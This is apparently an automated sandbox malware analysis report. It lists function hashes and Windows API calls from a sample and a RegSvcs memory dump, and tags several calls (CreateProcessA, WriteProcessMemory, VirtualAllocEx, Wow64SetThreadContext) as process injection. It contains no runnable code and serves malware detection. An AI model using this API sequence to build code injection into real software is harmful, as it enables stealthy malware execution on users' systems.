Opcode Fuzzy Hash: 326a567d95d6508b5307575f07c0f934281a49bff1b9e0233e61e0852e1c58f8
Instruction Fuzzy Hash: B501D8357001144FDB51E77CE8A075B73D6FBC9714F204829F60ACB354DA21EC4287A5

Function 06A938E8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03283af86a252c7e3c6ab14c7e721e013620a23a0210384e73869ea40d71f19
Instruction ID: 6161f7be6bf182eb39bc2e3206d336a0336bb0d8f054b6db5b6e7a8428501805
Opcode Fuzzy Hash: c03283af86a252c7e3c6ab14c7e721e013620a23a0210384e73869ea40d71f19
Instruction Fuzzy Hash: 5D21FFB5D01259AFCB00DF9AD884ADEFFB4BB49310F20812AE918B7201C374A944CFA4

Function 06A938F0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 386815738519b8da3b3a72265b4af106d040f190f7cca66dc8bc2f2a55fe3975
Instruction ID: 331225922ec75090338ffbe9a4bb8308767e11bf20ca6cded643cfa0413d0f90
Opcode Fuzzy Hash: 386815738519b8da3b3a72265b4af106d040f190f7cca66dc8bc2f2a55fe3975
Instruction Fuzzy Hash: 9111C2B5D01219AFCB00DF9AD884ADEFBB4FB48314F10812AE518A7240C374A944CFA5

Function 06A94280 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ded221f079d16985f3829a27298f444ecd15fb10efa96c674babe3cea36032b
Instruction ID: 6c3a5a571df7e036f7edff53a8cddd7bfb7af493db619c5981073c2b9deeaaf6
Opcode Fuzzy Hash: 8ded221f079d16985f3829a27298f444ecd15fb10efa96c674babe3cea36032b
Instruction Fuzzy Hash: 6E014B32B005101BDB64AABEA45472BB6DAEBCD620F24883EE10ACF784D961DC4243A5

Function 06A9EE10 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841cf5adb558943fa758e6b02c296189ce354904af703a9142cae63234101b66
Instruction ID: 35a4ac9b4fbc31cbcb0515465394416eec8c7558e68912f1ab0445516e4e3a85
Opcode Fuzzy Hash: 841cf5adb558943fa758e6b02c296189ce354904af703a9142cae63234101b66
Instruction Fuzzy Hash: DE018135B001116BDF64E66DA45072F62DAEBCAA10F24883AE20ECF341DE25DC034395

Function 06A9A390 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a638e11b40c13d17f9adb1fccc878eaff6a85f1dbf83b7be0088a4ae442a63
Instruction ID: ea55124a49391ff3ede2c2b19af85e429ba806df34825917db6346fdc727d8cf
Opcode Fuzzy Hash: d1a638e11b40c13d17f9adb1fccc878eaff6a85f1dbf83b7be0088a4ae442a63
Instruction Fuzzy Hash: CE018175B001144BDB50AABDE89475BB3D6FBC9754F20883AE20ECB354EA21EC4287A5

Function 06A9C838 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be8d6615caf2b5449676a991875a85e35ad386f722ca12c74e11c76b89a11c8
Instruction ID: 55dd8866a2ecc7a865f9957b74cbf9843c8923587f5f25aec4e169d7cb88b57b
Opcode Fuzzy Hash: 1be8d6615caf2b5449676a991875a85e35ad386f722ca12c74e11c76b89a11c8
Instruction Fuzzy Hash: 68F09636E21324DBDF58EA69D8409EB77B6F784360F104429E902EB281D771AC15CBD0

Function 06A9C848 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489fb987acdbb4529de72f90a98fef879e4262b581431c83962bda8f8705bb6f
Instruction ID: 165c23218ad6bdc4525e91967ad2390500f496532d6a971d8f22ff9a5fed43d2
Opcode Fuzzy Hash: 489fb987acdbb4529de72f90a98fef879e4262b581431c83962bda8f8705bb6f
Instruction Fuzzy Hash: 13F0A736E2032897DF18BA65DC1059BB37AF784260F104425E902EB284D7716C0087D0

Function 06A964F1 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb395122ac236dcaab4bf9a294aa99f52bd89107f391a6dc225c09becbf5168
Instruction ID: fb608aa90f1c672c1a01880cf9a25759f2ac343695db8c65292cc09e1b8219ff
Opcode Fuzzy Hash: 9bb395122ac236dcaab4bf9a294aa99f52bd89107f391a6dc225c09becbf5168
Instruction Fuzzy Hash: 24E09271A101086BEF50EB64D98565A7BEEDB02304F3058A1D405CB106E237DD018761

Non-executed Functions

Function 06A97720 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 06A97C6C
$^q, xrefs: 06A97810
$^q, xrefs: 06A9784D
$^q, xrefs: 06A97841
$^q, xrefs: 06A97C82
$^q, xrefs: 06A97BCD
$^q, xrefs: 06A97C78
$^q, xrefs: 06A97BD9
$^q, xrefs: 06A9781C
$^q, xrefs: 06A97C8E

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: 63b8b1f9cbf98702baf28d5cbbc5b2453a09cadb3902a9d22391744e3e3023c5
Instruction ID: 37d011fb0bdf048ce47a6edbc826eee92e54a5106f647fbb62373f1907d54fbe
Opcode Fuzzy Hash: 63b8b1f9cbf98702baf28d5cbbc5b2453a09cadb3902a9d22391744e3e3023c5
Instruction Fuzzy Hash: D412F830E102198FDF68EF65D954AADB7F2BF88604F2085A9D409AB354DB30DD85CFA1

Function 06A9A9B0 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 06A9AB0D
$^q, xrefs: 06A9AB62
$^q, xrefs: 06A9AB2C
$^q, xrefs: 06A9AB38
$^q, xrefs: 06A9AAB2
$^q, xrefs: 06A9AAA6
$^q, xrefs: 06A9AB6E
$^q, xrefs: 06A9AB01

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: e37734335bb0f0fa49dc55564ef78d5a1847405111010c7bdb86b769be348a66
Instruction ID: 66c42a3c3b78939825c9ec6db60bba218d0b356379adad14edd6894c27b862db
Opcode Fuzzy Hash: e37734335bb0f0fa49dc55564ef78d5a1847405111010c7bdb86b769be348a66
Instruction Fuzzy Hash: B1913070E002099FDF68EFA5D59476EB7F2BF84300F20852AE5029F294DB75AD45CBA0

Function 06A97120 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 06A97402
.5vq, xrefs: 06A9717B
$^q, xrefs: 06A97468
$^q, xrefs: 06A975BC
$^q, xrefs: 06A97634
$^q, xrefs: 06A97628
$^q, xrefs: 06A9745C

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: 6509b6dcc64f02fdd2eaea07dc7f3bbc2a3ec190cc331a36805bbaef29827715
Instruction ID: 4ae9b666f50812b494dc0ff9a03bebccc5a6fe064318fc6724114ddaea1940b3
Opcode Fuzzy Hash: 6509b6dcc64f02fdd2eaea07dc7f3bbc2a3ec190cc331a36805bbaef29827715
Instruction Fuzzy Hash: 76F12D34A11209CFDB59EF69D5A4A5EB7F2BFC4300F248569E4059B3A8DB31DC42CBA1

Function 06A98458 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 06A98723
$^q, xrefs: 06A98717
$^q, xrefs: 06A986BE
$^q, xrefs: 06A986B2

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: f0982d81b74b998ffd0015e1b5ebce5c66330d120ba6c3b4da7ee53956748a10
Instruction ID: 280f54553a602aabe47ea4fe2fbc5d1cbbda7e819c89167663fd2e1f9acb3aca
Opcode Fuzzy Hash: f0982d81b74b998ffd0015e1b5ebce5c66330d120ba6c3b4da7ee53956748a10
Instruction Fuzzy Hash: FDB12B70A002098FDF58EF69D59469EB7F2BF85300F248829D4069F3A5DB75D886CBA1

Function 06A98870 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 06A988EF
LR^q, xrefs: 06A98963
LR^q, xrefs: 06A989B2
$^q, xrefs: 06A988FB

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: df11d12c78d6f63f522244eeecebc073f4d74e07d7f92bb55cc81de3077d0617
Instruction ID: 41bf85abe1b876ef1ec3eb145fe05686754c180f18e8eca28364762953e5371b
Opcode Fuzzy Hash: df11d12c78d6f63f522244eeecebc073f4d74e07d7f92bb55cc81de3077d0617
Instruction Fuzzy Hash: 7751A331B002059FDF58EF24D994A6AB7F1FF89700B248969D5059F3A9DB34EC44C7A1

Function 06A9AD3B Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

$^q, xrefs: 06A9AF14
$^q, xrefs: 06A9AE69
$^q, xrefs: 06A9AEEB
$^q, xrefs: 06A9AEBC

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: a5287f46cb0ba54d1ef2b207a8e63e7a7958011b33fa2f25ac593b7102453ac3
Instruction ID: 600612618020c798f82b3cc8529591c25ba397b801f96dab07ee26ed38f23649
Opcode Fuzzy Hash: a5287f46cb0ba54d1ef2b207a8e63e7a7958011b33fa2f25ac593b7102453ac3
Instruction Fuzzy Hash: 49517E70E102098FDFA5EB64D5906AEB7F2FB89300F20852AE9059F354DB30DC41CBA1

Analysis Process: jwvzGqkYNEejno.exePID: 7876, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	165
Total number of Limit Nodes:	8

Executed Functions

Function 0A550D00 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1837984375.000000000A550000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a550000_jwvzGqkYNEejno.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39bd8b6a11d6495272a1a27663a895cbd95280067044d9835c46f0d83c9fc79
Instruction ID: 3684b9aaf18676e52cfa6d754d4ab4ccfe4898aaee3f7430a7c0a83fbbb26ba7
Opcode Fuzzy Hash: f39bd8b6a11d6495272a1a27663a895cbd95280067044d9835c46f0d83c9fc79
Instruction Fuzzy Hash: 94E1CA357026048FDB1ADB79D4607AEBBFABF89300F14486AE546DB2D0CB35E901CB51

Function 0281D3B0 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0281D43E
GetCurrentThread.KERNEL32 ref: 0281D47B
GetCurrentProcess.KERNEL32 ref: 0281D4B8
GetCurrentThreadId.KERNEL32 ref: 0281D511

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9143459ffb110803d6c20b4b7a0ea3bf212c6bd501f8c3dc45097cefbce92338
Instruction ID: e6a82d8dc2b261df95ce312f3e9df25ca20eb29a167a2d8a107dc0df5b415888
Opcode Fuzzy Hash: 9143459ffb110803d6c20b4b7a0ea3bf212c6bd501f8c3dc45097cefbce92338
Instruction Fuzzy Hash: 475156B8900349CFDB04DFA9D54879EBBF1AF48308F20C459D519A73A0D778A944CB66

Function 0281D3C0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0281D43E
GetCurrentThread.KERNEL32 ref: 0281D47B
GetCurrentProcess.KERNEL32 ref: 0281D4B8
GetCurrentThreadId.KERNEL32 ref: 0281D511

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ba6e239c824efb0eba81770450e3103272f93aca5226e07345b5942ff5245719
Instruction ID: fa197eb38fc44b523c85f556626a2a7b5883dcf4cbe4e4dcdff5d3969c1c8fa6
Opcode Fuzzy Hash: ba6e239c824efb0eba81770450e3103272f93aca5226e07345b5942ff5245719
Instruction Fuzzy Hash: 8D5156B89002498FDB14DFA9D548BDEBBF5EF88308F20C459D419A73A0D778A944CB65

Function 06F8CA44 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06F8CC86

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3739c314239ec67ccfc59e556a9dacaeb2cbce184485545395bc1573327551d6
Instruction ID: 0f50bf0b9d6b9a165cff77de0727b8c7f07f60bf6732cdb0c03533419d38fb88
Opcode Fuzzy Hash: 3739c314239ec67ccfc59e556a9dacaeb2cbce184485545395bc1573327551d6
Instruction Fuzzy Hash: 70A1AF71D00619DFDB60DF68C841BDDBBB2FF44310F1485AAE858A7290DB749985CFA2

Function 06F8CA50 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06F8CC86

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 378d8a54da4883b1817813a7a8628b9bd99b57c711145b69f5aeb1a182597fa7
Instruction ID: 67d094ef565c7203a3dd9081619dde01413e76adf9c3390cf8e7c927403cd355
Opcode Fuzzy Hash: 378d8a54da4883b1817813a7a8628b9bd99b57c711145b69f5aeb1a182597fa7
Instruction Fuzzy Hash: D8919D71D00619DFDB60EF68C841BDDBBB2FF48310F1485AAE818A7250DB749985CFA2

Function 0281B130 Relevance: 1.7, APIs: 1, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0281B386

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4eb753a1c47f405135081d6da3107088e83b70e7b55c9e098bbb65d0c40c5248
Instruction ID: 5c8503eacc4ad4268897a2dbab159a9f10405f1b0701aa11695b73a00ce28034
Opcode Fuzzy Hash: 4eb753a1c47f405135081d6da3107088e83b70e7b55c9e098bbb65d0c40c5248
Instruction Fuzzy Hash: 3D714678A00B058FD728DF69D14475ABBF6BF48308F008A2ED48AD7A90D774E949CB91

Function 028144C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 028159C9

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0effc1f315c9aa9cffb6d9de6a2ac7f12c6c125dd68d1922ab004a3ba4009163
Instruction ID: 1af8a3e3c1775c6f440bf9a52d7527deab0011052221fcfd493c0f51f97aa482
Opcode Fuzzy Hash: 0effc1f315c9aa9cffb6d9de6a2ac7f12c6c125dd68d1922ab004a3ba4009163
Instruction Fuzzy Hash: 1B41E5B4D0071DCFDB24CFA9C844B9DBBB5BF44304F648069D408AB255DB756946CF90

Function 02815917 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 028159C9

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b2368c8624ce12d9eaa194e84fa96bfd3df24a9b85d142fbcc4a4590ba33aff4
Instruction ID: 2739d6fe11074d5b07ec59960fffc88e9df80e9b748e88a59b5e0cbf9feb7208
Opcode Fuzzy Hash: b2368c8624ce12d9eaa194e84fa96bfd3df24a9b85d142fbcc4a4590ba33aff4
Instruction Fuzzy Hash: 8841D4B4D00619CFDB24CFA9C984BDDBBB5BF48304F64806AD408AB255DB756946CF90

Function 06F8C7C0 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06F8C858

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 12101c8524dc24ffe9cdcb7a70c511cf2d47137f436451dc65a79758ad852e1d
Instruction ID: ea3edf14a2324c413ff2e16480e3e04538e9bb8cac7f3d91c7f5af87268297bc
Opcode Fuzzy Hash: 12101c8524dc24ffe9cdcb7a70c511cf2d47137f436451dc65a79758ad852e1d
Instruction Fuzzy Hash: 082157B1D003499FCB10DFA9C885BDEBBF1FF48310F10842AE558A7251C7749984CBA4

Function 06F8C7C8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06F8C858

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7405b8abf51f5f8f853482e10de1994a5467bac6776c88fba41b8d5414c06ad4
Instruction ID: eb64204a646e98fa99c4c414a1dedaf1f4762db7ec5ead60a8015a67cb7b53df
Opcode Fuzzy Hash: 7405b8abf51f5f8f853482e10de1994a5467bac6776c88fba41b8d5414c06ad4
Instruction Fuzzy Hash: 1A2125B1D003599FCB10DFAAC985BEEBBF5FF48310F10842AE959A7250C7789944CBA4

Function 06F8C8B2 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06F8C938

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0cf2eba7424fd5d18ca40e3dedcb51f346d8ba6fab1c18ad49b90b66e44e335f
Instruction ID: 61906fe98e37abc99bc1baacb1d1319a85db00fb23571bfcf4d0ec27ec61b1c7
Opcode Fuzzy Hash: 0cf2eba7424fd5d18ca40e3dedcb51f346d8ba6fab1c18ad49b90b66e44e335f
Instruction Fuzzy Hash: 232125B28002599FCB10DFA9D841AEEFFF5FF48320F10842AE559A7250C7399945CBA4

Function 06F8C1F3 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06F8C276

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5e81d956efc664ae25b9c32409d6abf62b39fabd03f813432ad6ff6d283efd4a
Instruction ID: 94c4139d8aef4589b59f60d8168d0c7d54f0527cf4cad5e14c239b4008a1415c
Opcode Fuzzy Hash: 5e81d956efc664ae25b9c32409d6abf62b39fabd03f813432ad6ff6d283efd4a
Instruction Fuzzy Hash: 47213A71D00209CFDB54DFAAC885BEEBBF4EF88324F108429D459A7251CB789945CFA5

Function 06F8C1F8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06F8C276

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9317f9dc0512f39cf8bfdcd6aab3cb8812ed97607e3698607c3f43293c6f3ff4
Instruction ID: 2fdc0883f39e380108bb0e6c3adecdead3d23209f926944effcc9f79d8532f50
Opcode Fuzzy Hash: 9317f9dc0512f39cf8bfdcd6aab3cb8812ed97607e3698607c3f43293c6f3ff4
Instruction Fuzzy Hash: 0B2149B1D003098FDB50DFAAC8857EEBBF4EF88324F108429D459A7250C7789944CFA4

Function 06F8C8B8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06F8C938

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a1b51e4e06303f80367a855e9e9d99454f47c9bf517f5712b7734412f0f0b00a
Instruction ID: ea1766d719da371a7b6a67aa77d760489dd596bb68a049c0c7d24a29a2696301
Opcode Fuzzy Hash: a1b51e4e06303f80367a855e9e9d99454f47c9bf517f5712b7734412f0f0b00a
Instruction Fuzzy Hash: 552125B1C002599FCB10DFAAC885AEEFBF5FF48324F50842AE559A7250C7389945CBA4

Function 0281D608 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0281D68F

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f2481449b120db537a953d80759ad40bd1efe6889ba41b1ab4888e613662cc4e
Instruction ID: ee859a01e251fbb2f42a9f5e121ef7748a24ad92e7d90b43df473a4a2923455e
Opcode Fuzzy Hash: f2481449b120db537a953d80759ad40bd1efe6889ba41b1ab4888e613662cc4e
Instruction Fuzzy Hash: EE21E4B5900208DFDB10CF9AD984ADEBBF8EB48310F14841AE958A3350D374A944CFA4

Function 0281D600 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0281D68F

Memory Dump Source

Source File: 00000009.00000002.1822585478.0000000002810000.00000040.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2810000_jwvzGqkYNEejno.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4c857fba0f81c8167d7577349f4de98231930cde2787e6957b437515b1ae0c66
Instruction ID: 55a24f34c57f5116cec890bec5f8589a2cf9796970ab7e5409bd6c85f11afbe9
Opcode Fuzzy Hash: 4c857fba0f81c8167d7577349f4de98231930cde2787e6957b437515b1ae0c66
Instruction Fuzzy Hash: 852114B9900248DFDB10CFA9D584ADEBBF5EB08310F14841AE958E7360D374A954CFA5

Function 06F8C700 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06F8C776

Memory Dump Source

Source File: 00000009.00000002.1835289548.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f80000_jwvzGqkYNEejno.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0197ac2bb6e74f0572c144f088d54ea811e828ad8a20caec6e8346ca05b135c1
